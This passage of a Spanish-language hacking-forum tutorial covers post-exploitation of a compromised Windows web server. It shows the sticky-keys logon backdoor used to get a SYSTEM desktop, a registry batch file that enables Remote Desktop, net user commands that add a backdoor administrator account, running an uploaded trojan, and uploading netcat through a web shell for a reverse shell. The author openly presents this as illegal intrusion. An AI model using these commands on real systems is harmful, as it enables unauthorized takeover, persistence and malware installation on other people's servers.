Bueno, a nosotros nos interesa la parte roja, que es la Ip del servidor en el que se aloja la Web.
Esa es la Ip que debemos introducir en el cliente de escritorio remoto.
En Windows con el cliente abierto:
Código:
[I]Equipo: [123.123.123.123]
[Conectar][/I]
Simplemente le damos a conectar.
En Linux abrimos una terminal e introducimos:
Código:
[I]rdesktop 123.123.123.123[/I]
Bueno, si el señor fué bueno y nos abrio el puerto en el Router, deberiamos estar en el Logon de Windows, donde nos pide un usuario y una password.
Aunque no la sepamos, como habíamos Backdoorizado con el .bat de 3D1, al presionar 5 veces la tecla shift:
[IMG]http://2.bp.blogspot.com/_BPl8xhUr_J0/SCUVc7Qj66I/AAAAAAAABcY/1RTh4WapUqY/s200/teclado_tecla_shift.jpg[/IMG]
Se nos abrirá una consola situada en la raíz del systema, osease, [B]system32[/B]...
Povale, que bien XD.
¿Pero donde está el SYSTEM?
Bueno, si quereis enteraros de como funciona la cosa clickead aquí (http://foro.portalhacker.net/index.php/topic,83263.html), si quereis ahorrar el paso de leerlo haced lo siguiente:
Situados en la Consola que se abrio en el Logon del servidor, teclead [B]explorer.exe[/B], y bueno, lo que pasa en windows es que al haber abierto una Consola sin que haya sido abierta desde el menu ejecutar, herramientas en el inicio, o desde la carpeta system32, se abrira con el nombre de svchost.exe, y al ejecutar el proceso explorer, se abrirá el escritorio y nuestro usuario será SYSTEM, que viene a ser algo así como el root de Windows, ojo, que no es un root como el de Linux o Unix, es un root oculto que en principio no se debería saber de él ( [IMG]http://foro.portalhacker.net/Smileys/classic/shocked.gif[/IMG] somos kakers que nos saltamos la ley [IMG]http://foro.portalhacker.net/Smileys/classic/shocked.gif[/IMG])
Bueo, a la cosa, ejecutamos [B]explorer.exe[/B] y se nos abrira el escritorio...
Pulsamos el boton de la tecla inicio, miramos el usuario...
¡SYSTEM!
¡Somos root en windows sin necesidad de root exploits!
Ya podeis si quereis cerrar la consola, teclear [B]Alt Ctrl Supr[/B] y en la pestaña procesos cerrar winlogon.exe, que sino se nos quedará de fondo de pantalla lo de meter el usuario y password [IMG]http://foro.portalhacker.net/Smileys/classic/tongue.gif[/IMG]
[B][I][COLOR=red]5 - Terminal Server sin usuario SYSTEM[/COLOR][/I][/B]
¿Qué quiere decir esto?
Pues que para realizar esta conexión, no vamos a sustituir sethc.exe por cmd.exe, sino que vamos a hacer una conexión normal.
Para esto, se debe de crear un bat que habilite Terminal Server (Escritorio Remoto de Windows) de la siguiente manera:
Código:
[I]reg delete "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnect ions /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnect ions /t "REG_DWORD" /d 0[/I]
Sacado del tuto de 3D1.
Borra la clave del registro que bloquea las conexiones entranter de Terminal Server y crea una clave que las acepta.
Eso lo guardamos como escritorio.bat .
Entonces hacemos mano de nuestra WebShell, subimos el bat y hacemos lo siguiente:
Código:
[I]rutadelbat\escritorio.bat[/I]
Es decir, si lo hemos subido en C: :
Código:
[I]C:\escritorio.bat[/I]
Bueno, con eso se supone que el servidor de termial server está activo en el servidor remoto.
Ahora tenemos que crear un usuario con derechos de administador para poder conectarnos.
Vamos a la entrada de comandos de la WebShell y escribimos:
Código:
[I]Net User Nombre Contraseña /add[/I]
Por ejemplo, si de nombre le queremos poner [B]messerschmitt[/B] y de contraseña [B]123456[/B]:
Código:
[I]Net User messerschmitt 123456 /add[/I]
Vale, ya hemos creado un usuario, pero todavía no tiene privilegios de administrador, para dárselos, hacemos lo siguiente:
Código:
[I]Net Localgroup Administrators Nombre /add[/I]
Si el usuario que hemos creado es [B]messerschmitt[/B]:
Código:
[I]Net Localgroup Administrators messerschmitt /add[/I]
Bueno, como ya tenemos el Terminal Server activo y corriendo, y un usuario con privilegios de adminstrador, solo queda conectarnos vía Escritorio Remoto, poner de nombre messerschmitt y contraseña 123456, y boilá, tenemos el servidor en nuestras manos [IMG]http://foro.portalhacker.net/Smileys/classic/cheesy.gif[/IMG]
[B][I][COLOR=red]6 - Troyanizando[/COLOR][/I][/B]
Bueno, esta parte es la más fácil y lammer con menos mérito.
Simplemente hay que hacer mano de la WebShell, subir nuestro troyano, y ejecutarlo mediante la entrada de comandos:
Código:
[I]rutadeltroyano\server.exe[/I]
Es decir, si lo hemos subido a C: :
Código:
[I]C:\server.exe[/I]
Y boilá, hemos infectado un servidor remoto sin necesidad de tratar con el dueño por msn http://foro.portalhacker.net/Smileys/classic/grin.gif
Aunque personalmente prefiero todo el método de backdoorizar y acceder como SYSTEM, que aunque sea más largo y tedioso es la verdadera forma de hacer las cosas bien, enterandote de cómo son http://foro.portalhacker.net/Smileys/classic/smiley.gif
[I][B][COLOR=red]7 - Obteniendo Shell con NetCat[/COLOR][/B][/I]
Es simple, simplemente tenemos que obtener a NetCat para sistemas Windows y subirlo a la raíz del servidor, así que cojemos nuestra WebShell, nos dirigimos a [B]system32[/B], y subimos nuestro nc.exe.
Como ya sabemos obtener una shell ya bien sea inversa o directa lo haremos con la entrada de comandos de la WebShell [IMG]http://foro.portalhacker.net/Smileys/classic/wink.gif[/IMG]
esperando buenas gracias al men q los creo me despido